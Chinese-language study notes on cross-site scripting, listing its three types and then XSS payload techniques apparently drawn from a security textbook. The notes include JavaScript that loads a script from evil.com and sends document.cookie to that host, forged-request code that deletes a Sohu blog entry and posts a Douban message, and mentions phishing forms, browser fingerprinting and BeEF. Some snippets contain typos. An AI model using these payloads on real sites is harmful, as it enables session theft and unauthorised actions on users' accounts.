XSS 跨站脚本攻击
三种类型:1.反射型:简单的把用户输入的数据“反射”给浏览器
2.存储型:把用户输入的数据“存储”在服务器端 具有很强的稳定性
3.DOM Based:修改页面的DOM节点形成的
XSS攻击:
Cookie劫持
先加载一个远程脚本
<script src=http://www.evil.com/evil.js></script>
在evil.js中,通过代码窃取Cookie
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
构造GET和POST请求
删除搜狐博客
var img = document.creatElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1556713012";
document.body.appendChild(img);
豆瓣发出新消息 、
var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'
document.getElementById("xssform".submit();
我们可以看到使用javascript模拟浏览器发包并不是一件困难的事。
XSS钓鱼
利用JavaScript在当前页面上“画出”一个伪造的登录框。
识别用户浏览器
alert(navigator.userAgent);
识别用户安装的软件
在IE中通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。
一些第三方软件也可能会泄露一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。
Firefox 的插件列表放在一个DOM对象中,通过查询DOM可以遍历出所有插件。
Firefox的扩展,可以在JavaScript中加载扩展图标,加载成功,则扩展存在。
CSS History Hack
利用style的vistied属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实ip地址
XSS攻击平台:
Attack API、BeEF、XSS-Proxy
XSS终极武器 XSS Worm
调试JavaScript
Firebug、IE 8 Developer Tools、Fiddler、HttpWatch